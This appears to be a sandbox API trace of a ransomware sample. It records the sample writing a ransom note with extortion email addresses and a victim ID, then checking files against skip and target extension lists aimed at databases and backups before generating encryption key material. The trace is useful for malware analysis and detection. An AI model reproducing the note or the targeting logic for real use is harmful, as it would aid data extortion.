	[0075.161] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7450 | out: hHeap=0x300000) returned 1
	[0075.161] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39e298 | out: hHeap=0x300000) returned 1
	[0075.161] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7450
	[0075.161] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Read~ME.txt" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\read~me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0075.162] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0075.162] WriteFile (in: hFile=0x120, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x25dfed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x25dfed8*=0x35c, lpOverlapped=0x0) returned 1
	[0075.163] CloseHandle (hObject=0x120) returned 1
	[0075.163] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7450 | out: hHeap=0x300000) returned 1
	[0075.163] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6e68 | out: hHeap=0x300000) returned 1
	[0075.164] RtlWakeConditionVariable () returned 0x365f70
	[0075.164] GetCurrentThreadId () returned 0x9f4
	[0075.164] GetCurrentThreadId () returned 0x9f4
	[0075.164] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0075.164] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fa300 | out: hHeap=0x300000) returned 1
	[0075.164] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39e2d0 | out: hHeap=0x300000) returned 1
	[0075.164] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fbf50
	[0075.164] lstrlenW (lpString=".scr") returned 4
	[0075.164] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\.", lpSrch=".scr") returned 0x0
	[0075.164] lstrlenW (lpString=".cmd") returned 4
	[0075.164] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\.", lpSrch=".cmd") returned 0x0
	[0075.164] lstrlenW (lpString=".dll") returned 4
	[0075.164] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\.", lpSrch=".dll") returned 0x0
	[0075.164] lstrlenW (lpString=".bat") returned 4
	[0075.164] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\.", lpSrch=".bat") returned 0x0
	[0075.164] lstrlenW (lpString=".cpl") returned 4
	[0075.164] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\.", lpSrch=".cpl") returned 0x0
	[0075.164] lstrlenW (lpString=".sys") returned 4
	[0075.164] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\.", lpSrch=".sys") returned 0x0
	[0075.164] lstrlenW (lpString=".msc") returned 4
	[0075.164] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\.", lpSrch=".msc") returned 0x0
	[0075.164] lstrlenW (lpString=".com") returned 4
	[0075.164] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\.", lpSrch=".com") returned 0x0
	[0075.165] lstrlenW (lpString=".lnk") returned 4
	[0075.165] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\.", lpSrch=".lnk") returned 0x0
	[0075.165] lstrlenW (lpString=".msp") returned 4
	[0075.165] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\.", lpSrch=".msp") returned 0x0
	[0075.165] lstrlenW (lpString=".pif") returned 4
	[0075.165] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\.", lpSrch=".pif") returned 0x0
	[0075.165] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0075.165] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\.", lpSrch="msp\r\n.pif") returned 0x0
	[0075.165] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\." (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\."), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0075.165] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fbf50 | out: hHeap=0x300000) returned 1
	[0075.165] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a8008 | out: hHeap=0x300000) returned 1
	[0075.165] RtlWakeConditionVariable () returned 0x365f70
	[0075.165] GetCurrentThreadId () returned 0x9f4
	[0075.165] GetCurrentThreadId () returned 0x9f4
	[0075.165] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0075.165] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fa4d0 | out: hHeap=0x300000) returned 1
	[0075.165] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39e308 | out: hHeap=0x300000) returned 1
	[0075.165] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fbf50
	[0075.165] lstrlenW (lpString=".scr") returned 4
	[0075.165] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\..", lpSrch=".scr") returned 0x0
	[0075.165] lstrlenW (lpString=".cmd") returned 4
	[0075.166] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\..", lpSrch=".cmd") returned 0x0
	[0075.166] lstrlenW (lpString=".dll") returned 4
	[0075.166] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\..", lpSrch=".dll") returned 0x0
	[0075.166] lstrlenW (lpString=".bat") returned 4
	[0075.166] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\..", lpSrch=".bat") returned 0x0
	[0075.166] lstrlenW (lpString=".cpl") returned 4
	[0075.166] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\..", lpSrch=".cpl") returned 0x0
	[0075.166] lstrlenW (lpString=".sys") returned 4
	[0075.166] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\..", lpSrch=".sys") returned 0x0
	[0075.166] lstrlenW (lpString=".msc") returned 4
	[0075.166] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\..", lpSrch=".msc") returned 0x0
	[0075.166] lstrlenW (lpString=".com") returned 4
	[0075.166] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\..", lpSrch=".com") returned 0x0
	[0075.166] lstrlenW (lpString=".lnk") returned 4
	[0075.166] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\..", lpSrch=".lnk") returned 0x0
	[0075.166] lstrlenW (lpString=".msp") returned 4
	[0075.166] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\..", lpSrch=".msp") returned 0x0
	[0075.166] lstrlenW (lpString=".pif") returned 4
	[0075.166] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\..", lpSrch=".pif") returned 0x0
	[0075.166] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0075.166] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\..", lpSrch="msp\r\n.pif") returned 0x0
	[0075.166] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\.." (normalized: "c:\\msocache\\all users"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0075.167] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fbf50 | out: hHeap=0x300000) returned 1
	[0075.167] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a8008 | out: hHeap=0x300000) returned 1
	[0075.167] RtlWakeConditionVariable () returned 0x365f70
	[0075.167] GetCurrentThreadId () returned 0x9f4
	[0075.167] GetCurrentThreadId () returned 0x9f4
	[0075.167] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6e68
	[0075.167] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e74f8 | out: hHeap=0x300000) returned 1
	[0075.167] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39e340 | out: hHeap=0x300000) returned 1
	[0075.167] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e74f8
	[0075.167] lstrlenW (lpString=".scr") returned 4
	[0075.167] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".scr") returned 0x0
	[0075.167] lstrlenW (lpString=".cmd") returned 4
	[0075.167] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".cmd") returned 0x0
	[0075.167] lstrlenW (lpString=".dll") returned 4
	[0075.167] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".dll") returned 0x0
	[0075.167] lstrlenW (lpString=".bat") returned 4
	[0075.167] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".bat") returned 0x0
	[0075.167] lstrlenW (lpString=".cpl") returned 4
	[0075.167] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".cpl") returned 0x0
	[0075.167] lstrlenW (lpString=".sys") returned 4
	[0075.167] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".sys") returned 0x0
	[0075.167] lstrlenW (lpString=".msc") returned 4
	[0075.168] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".msc") returned 0x0
	[0075.168] lstrlenW (lpString=".com") returned 4
	[0075.168] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".com") returned 0x0
	[0075.168] lstrlenW (lpString=".lnk") returned 4
	[0075.168] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".lnk") returned 0x0
	[0075.168] lstrlenW (lpString=".msp") returned 4
	[0075.168] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".msp") returned 0x0
	[0075.168] lstrlenW (lpString=".pif") returned 4
	[0075.168] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".pif") returned 0x0
	[0075.168] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0075.168] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch="msp\r\n.pif") returned 0x0
	[0075.168] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0075.169] lstrlenW (lpString=".sqb") returned 4
	[0075.169] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".sqb") returned 0x0
	[0075.169] lstrlenW (lpString=".ost") returned 4
	[0075.170] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".ost") returned 0x0
	[0075.170] lstrlenW (lpString=".txt") returned 4
	[0075.170] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".txt") returned 0x0
	[0075.170] lstrlenW (lpString=".mdt") returned 4
	[0075.170] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".mdt") returned 0x0
	[0075.170] lstrlenW (lpString=".BDB") returned 4
	[0075.170] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".BDB") returned 0x0
	[0075.170] lstrlenW (lpString=".eql") returned 4
	[0075.170] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".eql") returned 0x0
	[0075.170] lstrlenW (lpString=".DBF") returned 4
	[0075.170] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".DBF") returned 0x0
	[0075.170] lstrlenW (lpString=".EQL") returned 4
	[0075.170] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".EQL") returned 0x0
	[0075.170] lstrlenW (lpString=".FDB") returned 4
	[0075.170] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".FDB") returned 0x0
	[0075.170] lstrlenW (lpString=".EDB") returned 4
	[0075.170] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".EDB") returned 0x0
	[0075.170] lstrlenW (lpString=".DACPAC") returned 7
	[0075.170] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".DACPAC") returned 0x0
	[0075.170] lstrlenW (lpString=".VHD") returned 4
	[0075.170] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".VHD") returned 0x0
	[0075.170] lstrlenW (lpString=".DBV") returned 4
	[0075.170] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".DBV") returned 0x0
	[0075.171] lstrlenW (lpString=".dacpac") returned 7
	[0075.171] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".dacpac") returned 0x0
	[0075.171] lstrlenW (lpString=".sdf") returned 4
	[0075.171] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".sdf") returned 0x0
	[0075.171] lstrlenW (lpString=".accdb") returned 6
	[0075.171] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".accdb") returned 0x0
	[0075.171] lstrlenW (lpString=".DBX") returned 4
	[0075.171] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".DBX") returned 0x0
	[0075.171] lstrlenW (lpString=".MDT") returned 4
	[0075.171] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".MDT") returned 0x0
	[0075.171] lstrlenW (lpString=".SQB") returned 4
	[0075.171] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".SQB") returned 0x0
	[0075.171] lstrlenW (lpString=".vhd") returned 4
	[0075.171] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".vhd") returned 0x0
	[0075.171] lstrlenW (lpString=".bac") returned 4
	[0075.171] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".bac") returned 0x0
	[0075.171] lstrlenW (lpString=".mdf") returned 4
	[0075.171] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".mdf") returned 0x0
	[0075.171] lstrlenW (lpString=".BAK") returned 4
	[0075.171] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".BAK") returned 0x0
	[0075.171] lstrlenW (lpString=".BAC") returned 4
	[0075.171] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".BAC") returned 0x0
	[0075.171] lstrlenW (lpString=".dbs") returned 4
	[0075.172] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".dbs") returned 0x0
	[0075.172] lstrlenW (lpString=".vhdx") returned 5
	[0075.172] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".vhdx") returned 0x0
	[0075.172] lstrlenW (lpString=".NDF") returned 4
	[0075.172] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".NDF") returned 0x0
	[0075.172] lstrlenW (lpString=".dat") returned 4
	[0075.172] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".dat") returned 0x0
	[0075.172] lstrlenW (lpString=".DBS") returned 4
	[0075.172] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".DBS") returned 0x0
	[0075.172] lstrlenW (lpString=".CKP") returned 4
	[0075.172] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".CKP") returned 0x0
	[0075.172] lstrlenW (lpString=".edb") returned 4
	[0075.172] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".edb") returned 0x0
	[0075.172] lstrlenW (lpString=".PST") returned 4
	[0075.172] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".PST") returned 0x0
	[0075.172] lstrlenW (lpString=".dbf") returned 4
	[0075.172] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".dbf") returned 0x0
	[0075.172] lstrlenW (lpString=".SQL") returned 4
	[0075.172] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".SQL") returned 0x0
	[0075.172] lstrlenW (lpString=".pst") returned 4
	[0075.172] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".pst") returned 0x0
	[0075.172] lstrlenW (lpString=".dbv") returned 4
	[0075.172] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".dbv") returned 0x0
	[0075.172] lstrlenW (lpString=".SDF") returned 4
	[0075.173] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".SDF") returned 0x0
	[0075.173] lstrlenW (lpString=".dtxs") returned 5
	[0075.173] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".dtxs") returned 0x0
	[0075.173] lstrlenW (lpString=".db3") returned 4
	[0075.173] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".db3") returned 0x0
	[0075.173] lstrlenW (lpString=".OST") returned 4
	[0075.173] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".OST") returned 0x0
	[0075.173] lstrlenW (lpString=".dbx") returned 4
	[0075.173] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".dbx") returned 0x0
	[0075.173] lstrlenW (lpString=".DB3") returned 4
	[0075.173] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".DB3") returned 0x0
	[0075.173] lstrlenW (lpString=".DAT") returned 4
	[0075.173] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".DAT") returned 0x0
	[0075.173] lstrlenW (lpString=".VHDX") returned 5
	[0075.173] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".VHDX") returned 0x0
	[0075.173] lstrlenW (lpString=".ndf") returned 4
	[0075.173] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".ndf") returned 0x0
	[0075.173] lstrlenW (lpString=".DB") returned 3
	[0075.173] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".DB") returned 0x0
	[0075.173] lstrlenW (lpString=".sql") returned 4
	[0075.173] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".sql") returned 0x0
	[0075.173] lstrlenW (lpString=".MYD") returned 4
	[0075.174] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".MYD") returned 0x0
	[0075.174] lstrlenW (lpString=".DBT") returned 4
	[0075.174] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".DBT") returned 0x0
	[0075.174] lstrlenW (lpString=".ACCDB") returned 6
	[0075.174] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".ACCDB") returned 0x0
	[0075.174] lstrlenW (lpString=".fdb") returned 4
	[0075.174] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".fdb") returned 0x0
	[0075.174] lstrlenW (lpString=".bak") returned 4
	[0075.174] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".bak") returned 0x0
	[0075.174] lstrlenW (lpString=".myd") returned 4
	[0075.174] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".myd") returned 0x0
	[0075.174] lstrlenW (lpString=".DTXS") returned 5
	[0075.174] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".DTXS") returned 0x0
	[0075.174] lstrlenW (lpString=".ckp") returned 4
	[0075.174] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".ckp") returned 0x0
	[0075.174] lstrlenW (lpString=".dbt") returned 4
	[0075.174] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".dbt") returned 0x0
	[0075.174] lstrlenW (lpString=".db") returned 3
	[0075.174] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".db") returned 0x0
	[0075.174] lstrlenW (lpString=".TXT") returned 4
	[0075.174] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".TXT") returned 0x0
	[0075.175] lstrlenW (lpString=".MDF") returned 4
	[0075.175] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".MDF") returned 0x0
	[0075.175] lstrlenW (lpString=".bdb") returned 4
	[0075.175] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".bdb") returned 0x0
	[0075.175] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0075.175] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0075.175] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x39e7e8
	[0075.175] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0075.175] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x39fe28) returned 1
	[0075.177] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0075.177] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
